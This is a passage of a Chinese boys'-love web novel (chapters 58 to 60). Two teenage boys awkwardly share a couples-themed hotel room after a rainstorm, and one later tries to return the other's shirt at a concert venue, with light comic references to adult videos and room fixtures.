“这么热的天，你去卖水，他去打篮球，但凡你俩有个人是正常的，你俩都碰不到。”
季杭：“……”
他没过多在意，回到卧室睡了一觉，醒来时天边一大片火燎的云。
季杭走到客厅，见到出门回来的季满谦。
季满谦拿着两块钱，纳闷道：“这谁丢的钱，丢咱家门口了。”
季杭立刻问道：“爸，你回来的时候有看见个子很高的男生吗，还挺帅的，就是不爱搭理人。”
“好像，”季满谦回忆，“我上楼的时候确实见个男生下楼了……”
季杭立刻往外跑，季满谦在身后喊：“你跑那么快干嘛，你头还疼不疼？”
季杭一路跑出小区，在拐角时看见男生的背影。
“诶！”他也不知道喊什么名字，诶了一声，男生没有回头的迹象，还在向前走。
季杭只能继续跑，在便利店门口才追上他。
“你、”季杭抓住他的衣角，“我说了你不用给钱。”
男生看着他，季杭这才发现，这人不光声音冷，目光也冷。
“喝了你的水该给你钱，”男生问，“有别的事么。”
季杭下意识松开手，说了句：“没。”
男生就往前走了，没再回头。
忽地，季杭音量稍大，问了句：“你叫什么名字？”
约莫三四秒，季杭听到回答：
“司云起。”
便利店的老板嗑着瓜子走出来，见到他，“哎呦”一声，“下午是你中暑了不，有个小伙子抱着你问药店，可着急了。”
季杭笑着答了一句，目视着司云起的背影。偶然抬了下眼，云彩被燎得通红，似乎很烫，落在眼中却是柔和的色彩。
司云起就走在那片色彩中。
季杭终于有了闲暇，听到便利店外放的歌曲。
是一首红遍大江南北的歌，声音在陈旧的音响中响着，此刻正唱到那句——
“缘分落地生根是我们”。
58.找人
“哈哈哈哈哈哈哈哈哈哈哈哈。”
季杭十分无语地丢给曹书望一个靠枕，“别笑了。”
“哈哈哈哈哈哈哈你是说，”曹书望停不了一点，“你去卖水，水没卖出去，自己中暑了还倒贴进去七块五买药？”
季杭“嗯”了声，嘴硬道，“怎么了，谁创业史上能没点挫折啊。”
“季老板您这也不是挫折吧，纯纯您自己无知不是吗哈哈哈哈，这么热的天谁脑子有病会去打篮球啊。”
季杭本来想倒杯水，听见这话时伸出去的手顿了一下。
嗯……
还真有个脑子有病的……
看着季杭伸手不动，曹书望抬抬下巴，问：“你干啥呢？”
季杭早忘了自己要干嘛了，手撤了回来。随后才想着自己有点渴来着，又伸出手。
同一时间，曹书望问：“但你还挺坚强，中了暑还能自己跑去药店，不难受啊，你给我打个电话我去接你也行啊。”
？
坚强？
……好像和自己不大沾边。
季杭又想起自己被男生抱在怀里时，难受地哼哼唧唧，一会儿说自己要死了，一会儿又说自己耳鸣。
关键自己没耳鸣，那是人家的心跳声。
“你干嘛，”曹书望盯着季杭，“你耳朵怎么——”
季杭猛地：“我没耳鸣！”
“？”曹书望被他打断，话卡了下才说：“那么红。”
季杭的手又不尴不尬地撤回来，摸了摸自己的耳垂。
“你这…”曹书望狐疑地盯着季杭，“你怎么不对劲啊。”
“我？”季杭干笑，“我很正常啊。”
曹书望又转而说道：“对了，今天来找你的时候，我听见楼下超市的姨说话，说昨天有个小子也中暑了，但那家伙，是被另一个男生公主抱到药店的哈哈哈，咱这一片还没我不认识的男生吧，真想知道是谁，去笑他哈哈哈。”
“曹书望！”季杭义正言辞，“人家中暑已经很难受了，你还去笑人家，你做个人行不行。”
“你知道是谁？”曹书望问。
季杭忽地捕捉到他的某一句话，立刻站起身，问：“书望，你认不认识一个人，叫……”
“什么？”
季杭回想着男生留给自己的三个字，慢慢道：“司云起。”
“什么死运气，”曹书望道，“从小到大咱这片的人我都熟，可没这个名字。”
季杭给了他一拳，认真地重复：“人家叫、司、云、起！”
曹书望拧紧眉心，“压根没听说过这个名。”
看着季杭肉眼可见的失落，曹书望纳闷道：“那谁啊？”
季杭转过身，去倒前两次都没能喝成的水，“没谁。”
喝着水，他有点后悔。
当时都追上司云起了，早知道就要个联系方式。
省的现在连句正经的谢谢都找不到人说。
“你今天神神叨叨的，”曹书望也站起来，“我先走了，到吃饭的点了，再不回去我妈要轰炸我的。”
临走时，他问：“叔叔还没回来吗？”
季杭回答道：“他今晚值班，不回来了。”
“那你跟我回去吃饭吧。”
也行，反正自己也没得吃，他和曹书望一起走到门口，曹书望低头“咦”了声，弯腰拿了一瓶纯净水，“这就是你昨天打算卖的水？季老板中暑也要卖的水，我拿一瓶。”
季杭兴致怏怏，“你都拿走也行。”
“那不行，这么沉。”曹书望迈出门槛，“走吧。”
季杭却忽然说：“书望，我想起来我有点事，就不去了。”
曹书望：“？”
季杭已经回到客厅，“你帮我带下门。”
神神叨叨的，曹书望没过多管他，“行吧，那我走了。”
季杭跑到卧室窗边，盯着曹书望的身影消失后，迅速照了下镜子，确保自己头发不乱、脸上不脏、仪表堂堂后，飞快地跑出门。
门被他甩着关上时，他愣在门外两秒，意识到自己钥匙没拿。
“……”
算了，反正都没拿，总不能蹲在这里哭吧。
他将钥匙的事抛到脑后，几步跨下楼梯，跑出单元门后，下意识看了眼天空。
没有火烧云。
季杭朝着篮球场跑去，还得亏是曹书望提醒了他。
男生光把自己和水送回来了，但那个篮球没拿走。
虽然已经过了一天，但他要去看看，没准篮球还在呢，那就一定还能蹲到人。
跑到篮球场，季杭远远瞥见篮球还在原地躺着。心头涌上惊喜，他跑过去抱住球，先是站着，觉得有点神经。
又蹲下抱着。
还是有病。
要是男生来了，见到自己这个样子，多奇怪。
他又将球放在一边，蹲着等了十几分钟，心里像是有蚂蚁爬似的，一分钟要四周环顾60遍。
后来他索性拿起球自己打了起来，刚投进一个，身后隐约有动静。
他的心瞬间怦怦跳，但就是按捺着不回头，跑过去拍着篮球，一个漂亮的运球转身——
和后面两个初中生面面相觑。
季杭沉默。
两个初中生看看季杭，又看看他手里的篮球。
顿了顿，其中一个说：“哥，你拿的这篮球，是我的……”
漂亮的运球戛然而止，季杭的手还悬在半空，球已经颠回主人的方向。
“这球是你们的？”
“对啊，前天打完忘拿走了，昨天太热，今天才出来找。”
所以昨天司云起打的篮球，并不是他自己的？
季杭不死心道：“你们有没有哥哥？”
俩男生：“没啊，我俩都是独生子。”
“好吧，”季杭丧气了，往篮球场外走。
男生挽留他：“哥，你篮球打的真好，和我们一起打吧。”
季杭声音惨淡：“不了，你们打，我先走了。”
伴随着他越走越远，俩男生背后蛐蛐他。
“他当时转身看向我们的时候……”
“有点像开屏的孔雀！”
“孔雀形容男生嘛？”
“这你就不懂了吧，还是我姐和我说的，开屏的就是公孔雀！孔雀开屏就是代表求偶！”
“？”
季孔雀没听到。
他失落地走在路边，心想就这么大点地，能遇到从没见过的人，也能找不到人。
算了，现在自己想把人找到认真地说声谢谢，但要是真把人找到了，面对那人冷冰冰的态度，没准自己又说不出来了。
不找了，他想。
天色暗了下来，季杭正往家走，突然想起来自己没钥匙。于是转了方向打算去曹书望家睡一宿。
但路过楼下超市时，他犹豫几秒，还是忍不住进去问了一嘴：“姨，昨天抱着我去药店的男生，你认识吗？”
店主还在嗑瓜子，手一摆说：“不认识，但是他昨天晚上来我这买了几瓶水，还有两桶泡面。”
季杭听着蹙紧眉心。
水、泡面……
怎么感觉像是没家可回啊。
对了，联想起他大中午的走到篮球场打篮球，更像是没家能回，在路边走的时候看到了篮球，所以才进去的。
不知怎么的，季杭觉得他的心有点酸。
是种很难形容的感觉，就像是在心疼司云起一样。
附近确实有家旅馆，但季杭从来没关心过，只知道大概方位。
现在想想，昨天追到司云起后，看着他走的方向，确实是旅馆的方向。
季杭便往旅店走去，到了门口，他又不知道该怎么去找人了。
去问前台有没有叫司云起的人在住吗？
想了想好像不大合适，前台为了客人隐私，也不会告诉自己。
季杭在外面踱步，思来想去，
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还是原地折返。
天色已然全暗，他肚子有些饿了，正想找家店吃饭，却忽然看到个熟悉的背影。
那人正在面馆外面的桌子上吃面，背影伏低，被侧光投在地面的影子依旧好看的过分。
可找到人了，季杭又开始犹豫。
该怎么上前呢，装作偶遇的样子么。没等他想好，司云起已经起身，往南边走了。
季杭悄悄跟上，他也不知道这一晚上自己到底在别扭什么，但就是很难追过去。
没走几步，天上划破一道闪电，雷声随即响起。
季杭想，他就看看司云起到底有没有地方住，确定了就回曹书望家。可当他跟着司云起走到另一家旅店时，还是愣住了。
司云起他……真的没地方住吗。
眼看着司云起走了进去，雨滴也开始坠落。季杭愣在原地，有一种不可言说的感觉。
没找到司云起前，他的心像是有蚂蚁在爬，让他一直期待着紧张着。
可真的找到司云起了，心又突然像是被细小的针戳了一下，不疼，但很酸。
雨势迅速转大，他没办法跑回家，想跑到旅店的檐下躲躲雨。正抬手遮住眼前往那边跑时，猛地撞在了一个人身上。
他后退几步，视线里隔着坠落成线的的雨，看到站在身前的人。
随后，他听到那人问：
“一直跟着我干嘛。”
……
这个问题他没能回答，下一秒被拽住手腕，跟着跑进了旅店内。
两个人湿漉漉的，站在狭小的大厅里。
司云起没说话，只是看着季杭。
这人很奇怪，从自己吃饭的时候就盯着，又跟了自己一路，到了旅店后在外面淋着雨也不知道走。
到底是想干嘛。
忽地，这人抬眸看向自己。
他才注意到，这人的眼睛狭长，眼尾轻轻勾起，显着几分魅，可透亮的瞳仁又将其中和成少年稚气。
原来这人中暑时的眼神，并非是奇怪，反之……
还挺好看的。
“谢谢你。”
司云起听到这么一句。
顿了顿，司云起问：“你跟了我一路，就为了说句谢谢？”
季杭说：“是。”
“好，”司云起道，“我接受，别再跟着我了。”
他已经取了房卡，转身上楼时，见人还站在原地。
就当是他管闲事，他又问了句：“你不回家？”
季杭才反应过来，走到前台说：“我要住店。”
前台告诉季杭：“最后一间已经被你朋友定了，但那是大床房……”
前台没再说话。
司云起站在楼梯上，垂眸看着季杭。
季杭有自知之明，司云起这家伙肯定不会让自己也住进去的，他走到门口望着外面的大雨，心里祈祷快点停，他好跑到曹书望家去。
耳边依稀传来几声“诶”，但雨的动静太大，他没分辨清楚。
很快，他被人拽住手腕，随即被一股力道拉着往楼上走。
“司云起你干嘛，”季杭挣脱着，但钳制在手腕上的力道太重，他没挣开。
司云起把他拽上二楼，找到门牌开门时，目光冷淡地瞥了季杭一眼。
“前台都说我是你朋友了，我怕你又跑到外面淋雨，第二天被发现倒在地上，我担不起。”
季杭不悦道：“你不会好好说话吗。”
“不会，”门锁打开，司云起把季杭往里面一推，“你睡地板，我睡床，明早你就走。”
司云起冷漠地刷卡取电，房间的灯亮起。两个人的视线由暗转亮，眼前却一片暧昧的光彩。
因为挂在顶上的灯，并非是传统的光亮色，而是浅紫色。
暧昧的光亮轻轻闪着，照在圆形的大床上。
两个人定睛看去——
上面还铺满了玫瑰花瓣……
这是……情侣主题房间啊！！
59.房间
“……”
“……”
司云起忽然有种想把这人再拽出去的冲动。
季杭也觉得自己还不如在旅店门口过一夜呢。
他们两个站在原地，全身都被笼在暧昧的灯光里。
季杭暗暗攥紧拳心，有一种前进不了也后退不了的挣扎。
转身离开这个房间……嗯，也不是不行，但莫名觉得有点矫情。
看司云起的反应，他估计也不知道这间是这样的。
要自然地往前走吗……不行，司云起都没动，走不了一点！
许是因为各怀心思，时间变得特别慢。
季杭默默地想，好漫长，夏天应该过完了，是不是冬天到了啊……
不对，既然是冬天，为什么自己还会流汗。
房间里闷热，站在身侧的司云起也终于动了下。
季杭余光瞥着他，见他转身摁了下灯。
原来是要调灯光，照在圆床上方的灯灭了。
但是——
怎么绕床还有一圈小灯啊！
关键这圈小灯闪的更诡异，暗黄色一亮一亮的，像是在烘托什么氛围……
司云起看了眼，面色不变，又摁了下。
很好，全黑了。
很好，这代表两种光亮选其一。
司云起干脆地又摁亮，抬脚往房间内走去。
他将手机放在桌上，回头看了眼，嗓音冷淡：“站着不动干嘛。”
季杭藏起自己那一点不自在，暗自说着，两个大男生怕什么的，只是情侣房间而已，又不是闹鬼。
他同手同脚镇定自若地走过去，也将自己的手机放下，装模作样地环视了一圈。
其实除了房间的灯之外，别的还不错。
尤其是靠近窗边那，有个像椅子的东西。
季杭从来没见过，他好奇地走过去，看见这个椅子的四个腿很奇怪，像蜘蛛的腿，现在椅子靠背是平着的，而且两边没有扶手。
本该是扶手的位置被两根竖起来的支撑棍代替，座椅前面大概半米的距离处，连接着一个圆凳。
季杭比划了一下，觉得这个圆凳是可能是用来放脚的，就是距离有点短。
不过也没关系，睡这上面总比睡在地上好。
“你去洗澡，”司云起的声音忽然从背后响起。
季杭“啊”了一声，看着完全透明的浴室，很干脆地拒绝：“我不用洗。”
司云起闻言瞥了眼他湿透的衣服和头发，却没说什么，继续低头看着手机，手指点在屏幕上，似乎是在回复信息。
两个人独处一室有点尴尬，季杭不知道做点什么，便想着去浴室洗个头。
洗个头总不会有什么。
他走进浴室，刚要打开淋浴，忽地发现原来这里面有个开关，一摁下去，透明的浴室瞬间磨砂！看不到外面了！
好！能洗澡了！
季杭关好玻璃门，欢天喜地开始脱衣服。
脱了个精光，他打开固定的淋浴头，温度适宜的水冲向全身。
听到动静的司云起下意识转头看了眼，目光还没聚焦，他倏地转回来盯着手机。几秒后，他默默地侧了下身，背对着浴室。
季杭洗了多久，他就僵着脖子看了多久手机。
洗完澡后，季杭摸了下自己湿透的衣服，这也不能穿。那就裹着浴巾吧，将就一晚，明早衣服应该能干，到时候穿上回家换掉就好了。
他吹干头发，又吹了衣服几下，走出浴室前，将开关又拉了回去。
磨砂瞬间透明。
这样做没什么目的，他就是想待会儿可以不经意的提醒司云起一句，至于个中缘由，他自己也说不上来。
于是他裹着浴巾走出浴室，清了清嗓子，随口道：“浴室里有磨砂开关，你要是找不到，我可以帮你。”
司云起背对着他，说：“不用了。”
季杭轻哼一声，走到窗边的“椅子”前，准备就睡这里了。
没想到自己刚一屁股坐下，司云起抬起头，以一种很奇怪的语气问自己：“你坐那干嘛。”
“睡觉啊，”季杭还准备躺下呢，“这里连能铺在地上的东西都没有，我才不要睡地板，我看这个椅子就挺舒服的。”
但身上还没完全干，躺下的话就沾上水，他只能坐着等。
司云起移开了视线，过了会儿，忽然又看了过来。
看过来也不说话，似乎是按捺着什么，片刻，目光又移开了。
如此反复，季杭也忍不住了：“你是看上这椅子了吗？要不我让给你？”
司云起终于冷淡地抛了句——
“你来床上睡。”
“还真看上这椅子了啊，”季杭诧异地站起来低头看着，“还能比床舒服？”
司云起声音更冷淡了：“没看上，我也睡床。”
“？”季杭别开脸，“你好奇怪，刚开始你还说让我睡地上。”
司云起便抛过来句：“随便你。”
季杭守着椅子，见司云起实在不对劲，不由得想：难道是这椅子不对劲？
他从桌子上摸回自己的手机，悄声对着椅子拍了张照片，然后百度识图。
网速有点慢，等了几秒才显示出来结果。
季杭腾的一下转身，讪讪往床上爬：“我…我今晚还是睡床吧……”
司云起没说话。
但看这人光着膀子坐在床的一角，空调风口死对着他，冻得这人又哆嗦又倔强。司云起拿起空调遥控，关了空调后顺手放回电视桌上。
随后他看了眼手机，对方没回复，他也不等，走进浴室去洗漱。
季杭实在无聊，看到床头柜上的遥控器后随手打开电视机。
没等他看清电视画面里白花花的是什么，他先听到了连绵不断的喘.息和闷.哼声。
！
这踏马！上一个入住的人怎么播放这种画面就关了电视啊！
季杭手忙脚乱地退出，心虚地看了眼浴室。
好在司云起正在洗脸，水声哗啦啦的，没听到这边的动静。
这该死的遥控器还有点难用，关机的按键不灵！季杭切换着左右键，试图点进频道里，但这电话就跟被控制了似的，全都是那种视频。
连封面都是不能多看一眼的程度。
关机键难用的要死，季杭走近想手动关机，无意中瞥见在当前这个画面里，最边上的视频封面……
是两个男生。
一个男生趴在床上，另一压在男生身上，看起来什么衣服都没穿。
他们两个还在……
接吻。
鬼使神差的，他轻点了下遥控器，小框立即放大。
之前应该是被人打开过，现在在继续播放，画面里两个人正在……
浴室水声戛然而止。季杭立刻伸手摁电视机开关键。
彼时露骨的画面变成黑屏，映着季杭不自然的脸。
司云起走出来，见他怔站在电视前，说：“你想看就打开。”
季杭说话前哽了一下，“不、不想看，我没想看。”
话是这么说，但接下来季杭的一切举动实在是太不正常了。
他又不想再靠近窗前的“椅子”那，也不想靠近电视机，所以能活动的地方也就床边，但床上的灯还在轻轻闪着紫色的光。
季杭就坐在圆床的一角，什么也不干，自认为不大明显的盯着司云起，盯着他走过来又走过去。
关键他用浴巾裹着下半身，上半身光着，在灯光下有种说不上来的…色.情，还一直眼巴巴地盯着自己。
就跟等着自己干什么似的。
盯得司云起头皮发麻，他无语道：“你不玩手机？”
季杭声音平静：“手机没电关机了，没带充电器，你有吗？”
司云起本来有，可惜被落在上一家旅店了。
“那你看电视。”司云起拿遥控开电视。
季杭音量突然大了起来：“不要！我不看电视！”
幸好遥控器开关键不灵敏，救了季杭一命。
“我刚隐约听到你打开电视了，”司云起用遥控打不开，也走上前去摁电视机开关。
“别！”季杭猛地站起想去阻止他，还是晚了。
司云起摁下开关后径直转了身，想去放下遥控，但身后的电视机里正传来属于男性的喘.息.声。
一声比一声难耐。
还有……撞.击的声音。
他看见季杭唰的一下红温了，像是煮熟了的虾。
在季杭扑过去关掉电视的前一秒，他还听到了抽泣的男声，在喊“老公”……
司云起：“……”
季杭红温着回到床上，静默几秒，解释：“我没看，我一打开就是这个，所以我才关掉的。”
司云起难得显现出了不自然，拿着遥控器走进洗手间。须臾，又将遥控器放了出来。
季杭身上已经干了，他占据床的边缘。因为是圆形，所以他腿都不能伸直，只能蜷缩着。
司云起在里面对着镜子面了会儿壁，出来后看到他已
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经躺在床上了，“我关灯了。”
季杭说：“好。”
房间彻底暗了，司云起走进浴室开始洗澡。
外面的季杭听着水声：“？”
一片漆黑，他瞪着眼睛看向浴室的方向，心想司云起真是瞎讲究。但过了会儿，他又猜测，可能是司云起没找到磨砂的开关在哪，又不好意思问自己。
这摸着黑的，多不方便，万一滑倒了。
毕竟是救过自己的人，季杭善心大发，找到鞋穿上后一路摸着墙挪到浴室门口，敲了敲。
水声瞬间停了。
季杭眼睛里一点光线也没，热心提醒道：“你摸黑洗澡不方便吧，我帮你打开那个开关，就可以开灯洗了。”
里面的人回他：“不需要。”
季杭闻言抿了下嘴唇，但这人救过自己，得耐心点，他继续说：“一点光都没有，你别摔倒了。”
里面的人：“不会。”
“……”热脸贴冷屁股！季杭站在原地想了半天，不知道还能跟这个冷漠的人说什么，便又摸索着往回走。
他摸着墙，没走两步碰到了个凸起，手按上去时，浴室的灯亮了。
“……”
但司云起浴巾已经在身上了，只是还没裹好而已。光亮的时候季杭不受控制地转了下头，看到司云起裸着的上半身。
他连忙道：“对不起对不起，我不是故意的。”
说着打算弥补一下自己的罪行，眯着眼探头进浴室，指着某处提醒司云起：“你拉下那，外面就看不到了。”
他眯着的眼依稀看到玻璃是磨砂的，放心地抽回头，“就是这……”
不对！
不对！
为什么里面看外面是磨砂！
外面看里面是透明！
天杀的！
谁设计的！
自己就在这样的浴室里洗了澡！
一！览！无！余！
怪不得！
怪不得司云起等灭了灯才进来洗！
天杀的情侣房间！
想到自己洗澡全程能被外面看到，季杭羞愤欲死，快步走回床上。
屋漏偏逢连夜雨。
他走的太快，手腕撞在了桌角。
桌子还踏马是旧的，桌角漆没了，露出里面的木头，直接给他划破了！
季杭轻嘶了一声，同一时间，司云起裹着浴巾出来，看到他被划伤的手腕。
“去洗洗伤口吧，”司云起说。
季杭绷着下巴去洗手间，洗干净血后，出来听到司云起说：“给前台打了个电话，她说房间里有创口贴。”说着四处环顾。
季杭还在绷着下巴，嘴唇也抿成一道直线。视线随意一瞥，看到电视后面有个小型无人售货机。
“是在那里面吗，”季杭说了句。
司云起看了一眼，无人售货机外壳是黑色的，里面是什么看不清，需要扫码才能打开其中一个。
他也没经验，辨认两秒，确定其中一个盒状的东西，用手机扫了码。
“谢谢，明天还你钱。”季杭说着伸出手接创口贴。
然后司云起递给了他一盒套。
“……”
递过去之后司云起才意识到不对，季杭看着手心里的盒子，人都要裂开了。
“算了，反正也不流血了，”季杭把套扔回桌上，往床边走，“明天还你钱。”
季杭又缩回圆床的边缘，想这一天自己真是要丢死人了。
把那个东西认成椅子，还要在上面睡觉。
打开了电视里的那种视频，还被司云起抓个正着。
洗个澡、洗个澡还……
还有刚刚，创口贴拿不到就算了，还拿到手一盒套！
他安慰着自己，没关系，有些人一辈子只会见一两面，也许他和司云起就是这样。
但太羞愤了，他越想越热。司云起已经关灯上床了，睡在距离自己很远的另一边。
“你不冷吧，”季杭平稳声音，“我开空调了。”
“嗯。”
季杭从床头摸到遥控，手指只能碰到一个按键。他按下去。
空调没响。
床倒是剧烈地震动起来。
……季杭被床带着震动，连忙又摁了一下，想关掉。
结果是切换模式，成了腰以下的位置在往起抬。他又摁了一下，又切换成下一种模式。
第四次，终于关了。
他平静地躺回去，空调也不需要开了。因为有些人活着，他已经死了……
60.回家
两个人十七岁的年纪，身高腿长的，圆床一人一个边。
就跟上半身睡了，腿还醒着一样。
整整一夜，两个人的腿耷拉在床下，规规矩矩。
圆床自打问世以来何曾受到过这种屈辱，中间本应该抱在一起甜蜜相拥的位置空荡荡。
早上季杭醒了，悄咪咪裹着浴巾下床去拿自己的衣服。
司云起听到了他窸窸窣窣的动静，但没睁眼。
雨下了大半夜，天快亮的时候才停。
至于司云起为什么知道的这么清楚……
拜季杭所赐。
他实在是搞不懂旁边这人已经睡到床的边缘了，为什么潜意识里不能告诉自己小心点？
这家伙一晚上起码扑腾惊醒五次！
每次一翻身，身体半悬空着惊醒，后怕地长呼一口气，又挪在床边。
关键这床实在是能晃，他在那边动，司云起这边的感觉更明显。他每惊醒一次，司云起就跟着醒一次。
到第五次，司云起睁着眼睛，依稀透过窗帘看到外面显蓝的光，心道，终于快天亮了。
不然再醒一次，真的想把这家伙捞到床中间，让他消停点。
正闭眼，他听到旁边人的叹息。
季杭叹着气，小心又躺回去：“唉……终于快熬到天亮了。”
司云起：“？”
后来的时间他俩都没睡着，捱到天亮，季杭悄悄去穿衣服。
下床正对窗户，他看到“椅子”。
扭开脸。
又看到床头柜的遥控器。
再次扭开脸。
走两步看到电视机和旁边的一盒套。
狠狠扭开脸。
去浴室旁边拿衣服。
天杀的浴室！脸不要了！
穿好衣服后要溜，手都握在门把手上了。
扭了下脸，看到桌上的那盒东西。
他在心里叹气，又想到这一夜的房费。
于是蹑手蹑脚往回走，拿起床头柜那摆着的本子和笔，写下两行字。
撕下一小条纸后，放在了司云起枕头旁边。
等门被蹑手蹑脚打开，又鬼鬼祟祟关上后，司云起坐起身，拿起季杭留下的纸条。
房间里暗，看不清。他走过去打开窗帘。
纸条上赫然写着：
“我会给你钱，季杭190XXXXXXXX。”
司云起：“？？？”
不是。
明明是自己收留他一夜，到头来这家伙怎么跟睡了自己还用钱负责的架势一样？
司云起将纸条扔到一旁，没想和他再有纠葛。
可看着空荡的垃圾桶，他又觉得把这家伙的名字和联系方式扔在这个房间里不太好，顺手夹在了手机壳后面。
转身去浴室旁边拿挂起来的衣服时，他手一顿。
另一边。
季杭飞快地跑出酒店，边快走边撇着嘴，祭奠自己死去的肉.体。
本想就这样一个人悄悄回家，好巧不巧，马上到家的下一个拐角曹书望突然出现。
曹书望见到他很惊喜，“哎呦起这么早，干嘛去了？晨跑？”
“跑个鬼，”季杭一脸怨怼，“哎不和你说了，我先回家。”
“你等下，”曹书望快步跟着他，“跟你说个好事儿。”
季杭：“多好？”
曹书望神神秘秘，从口袋里摸出两张票：“看！”
季杭扫了一眼，问：“这是什么票？”
“演唱会！”曹书望兴致勃勃，“这是许凡君的演唱会门票！你记得我说过不，肖蕊特喜欢她，我好不容易搞来的门票呢，就为了等今天。”
“那你去吧，”季杭一门心思只想赶快回家充电拿钱还给司云起。
“哎呀，”曹书望拉住季杭，竟然还显出几分羞涩，“你陪我一起去，我紧张。”
“你有毒吧，”季杭上下打量着他，见他脸边发红，“我跟你去，人家女孩要是一个人，多不自在。”
“你不跟我进场，”曹书望笑的谄媚，“你在场外等我。”
“？”
季杭转身就走。
曹书望连忙拉住他的衣角，轻轻一扯，少年人瘦削的身材被布料包裹着显现，他这才察觉到几分不对劲。
“季杭，”曹书望盯着他的上衣，“你这件衣服比你别的衣服大哦。”
季杭下意识低头，目光落在衣服上时，脸色唰的一白。
整个人僵立。
曹书望还没见过脸色变这么快的，看着季杭的脸，“杭，你现在惨白。”
季杭：“……”
曹书望自我首肯：“白的跟死了半个月还没埋似的。”
季杭在心里默默道，望，你面前的这个人还活着，但他昨晚已经死了。
现在发现穿错成了司云起的上衣。
死的更透了。
“你没事吧？”曹书望关切道，“这才早上啊，热是热，但你不至于中暑吧！”
“没，”季杭干咽了口唾沫，转身就跑：“我先上楼…我先去穿衣服…我……”
曹书望：“……？”
季杭飞快跑回家，当当当敲门，季满谦开门的时候还拿着锅铲，问：“早上回来见你没在家，你去书望家睡觉了？”
“对，”季杭跑回房间，赶在季满谦问这件衣服怎么有点陌生时脱了下来。
衣服被铺在床上，季杭扭脸看了眼时间，不确定司云起醒没醒。
这时候他就无比庆幸，自己是全湿，司云起是只湿了个上衣。人家睡觉时是穿着裤子的。
不然自己连裤子也穿错了怎么办……
“饭马上好，”季满谦回到厨房忙碌，“你快去洗脸刷牙。”
季杭直接冲进洗手间洗澡，换了一身衣服，他看着餐桌上的饭菜，不知为何，莫名想到了昨晚上在面摊旁孤独的影子。
他果断决定，现在就去还衣服，带上钱，带上饭！
季满谦实在是搞不懂季杭在干嘛，找出几百年不用的饭盒在厨房洗了又洗，又回到自己跟前盛饭菜。
“这……”
季杭：“嗯！”
季满谦：“你直接叫书望来家里吃啊，送一趟多麻烦。”
季杭装好饭盒去卧室拿出衣服，边换鞋边说：“不是书望。”
季满谦：“这衣服确实也不像书望的风格，那你这是去找谁？”
季杭不知道该怎么和他爸解释他出去做什么，为什么拿着一件陌生的衣服，只能随口胡诌：“外面有只小狗，我去给他喂饭。”
“你喂狗这个？”季满谦想说咸了点吧。
季杭：“这多好。”
季满谦：“……衣服是？”
季杭面不改色：“给他垫到地上，让他趴着玩。”
季满谦：“流浪狗吗，你把他带回来，咱养。”
“不行！”季杭拒绝后意识到自己反应有点过激，解释：“他不亲近人，我多去看看就好了。”
说完就跑没影了。
没半分钟，季杭又跑回来，回卧室关门拿钱。
房费应该是200，他出一半。那盒套不知道多少钱，早知道昨晚问一句了。
他只能在软件上搜索，页面上好多个牌子，还分型号规格什么的。
太麻烦了，干脆也按一百得了。
拿了两百块钱，拎着饭盒和衣服再次冲出家门，还不忘说句：“爸我不回来吃饭了。”
一步没停，跑到酒店后他上楼，看到昨晚睡的房间门是打开的。
司云起已经离开了。
季杭不死心地走到门口，里面保洁正在换床单被褥，见到他，问：“小伙子，你找谁？”
“这个房间里的人走了吗？”
“走啦，办完退房我才能来收拾呀。”
季杭看向浴室，“那这房间里有落下衣服吗？”
鉴于这间是情侣房。
鉴于门口这帅哥在问衣服。
保洁福至心灵：“是内裤什么的吗？没有哦，房间很干净，只有一盒没拆的……”
季杭耳侧又泛起红，快速说了句谢谢就跑了。
跑出去之后，季杭拎着饭盒，提着衣服，口袋里塞着两百块。
有些茫然。
他又找不到司云起了。
也不知道司云起会不会联系自己。
他垂着头回家，半路连人带东西全部被曹书望截走。
出租车后座，季杭嗓音里有几分疲态，导致威胁也不是那么有力度：“曹书望，今天陪你一趟，你最好是报答我。”
曹书望喜气洋洋：“兄弟的幸福就是最好的报答。”
季杭无力地锤他一拳，偏脸看着窗外，临睡着前，感觉曹书望在碰饭盒和衣服。
“别碰，”季杭把东西挪到自己腿上，彻底睡着了。
“大早上的就困，”曹书望腹诽，“跟上学似的。”
到体育场后，正是上午最热的时候。季杭顶着烈日，“书望，演唱会是几点？”
“晚上七点。”
季杭要无语死了，“你能告诉我晚上七点的演唱会为什么早上七点来吗？”
曹书望纠正：“咱们是十点来的。”
“有区别吗？”
“……我看攻略说排队要很久。”
季杭看着空旷无一人的场外，闭了闭眼，睫毛在太阳光下闪的很长，“你是第一，你比演唱会嘉宾来的还早。”
曹书望观察着他的脸色，“杭啊，其实我就是过来先观察一下，毕竟头一次看演唱会嘛。然后…就是…”
季杭：“快说。”
曹书望：“你的中午饭我包了，想吃什么都行。我得回去一趟，接肖蕊来。”
季杭压着脾气：“曹、书、望——”
“好人一生平安！季杭我爱你！以后我的孩子叫你爸！啊不叫你干爸！给你养老！”曹书望边跑边喊，“兄弟你先找个奶茶店待着，等排队进场的时候记得帮我排一下！”
他坐上出租车跑了，季杭快被晒化了，找了家最近的奶茶店去休息。
点了杯招牌奶茶，但太甜了，他喝了一口就没再喝。外面热的人实在不想走，连吃饭的胃口都没有了。就这样等到下午三点半，季杭透过玻璃看到场外逐渐有了人影。
人还不多，再等等。
就垂眼又看了会手机的功夫，再看过去时已经排起了长队。
季杭拿上东西就就去排，检票员和安检员还没开始工作，队伍迟迟不动。
季杭生生晒了半个多小时，队伍终于动了，曹书望还没来。
气的他给曹书望打电话，被拒接，下一秒消息发了过来：快了快了，马上到。
季杭边往前走边朝后看，忽地，颀长的影子吸引了他的视线。
身影太过熟悉，季杭下意识就喊：“司云起！”
那人在原地站着，听到声音转头看过来时，神色倨傲，目光冷淡。远远看去，像是被阳光照耀却不曾融化的雪山。
看到季杭后，他朝这边走了过来。
季杭盯着他身上自己的衣服，莫名羞赧。
司云起走近后，季杭才发现自己的衣服在他身上很合适。但这件对于季杭来说，稍有一点点大。
等司云起站在身前，季杭从口袋里拿出两百块：“给，昨晚睡觉的钱。”
跟在司云起旁边的人噗嗤一笑。
季杭：“？”
司云起垂眸，没接。
季杭：“你拿着。”
旁边的男生笑着问司云起：“云起，昨晚睡觉的钱？你这模样的一晚才200？”
猛地反应过来男生的话，季杭蹙着眉把钱收回来，不耐地瞥了男生一眼，道：“昨晚他收留我了，我该给他钱。”
男生诧异地看向司云起：“云起，你在哪里住？找到地方了吗？阿姨早上还在问我。”
司云起声音冷淡：“没。”
“那你收留他？”男生问。
司云起抛下两个字：“酒店。”
男生不再多问。
不知是不是错觉，季杭觉得司云起好像
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不是很想和这个男生聊天。
可还没等他细细观察，他只觉得两眼一黑，腿一软。
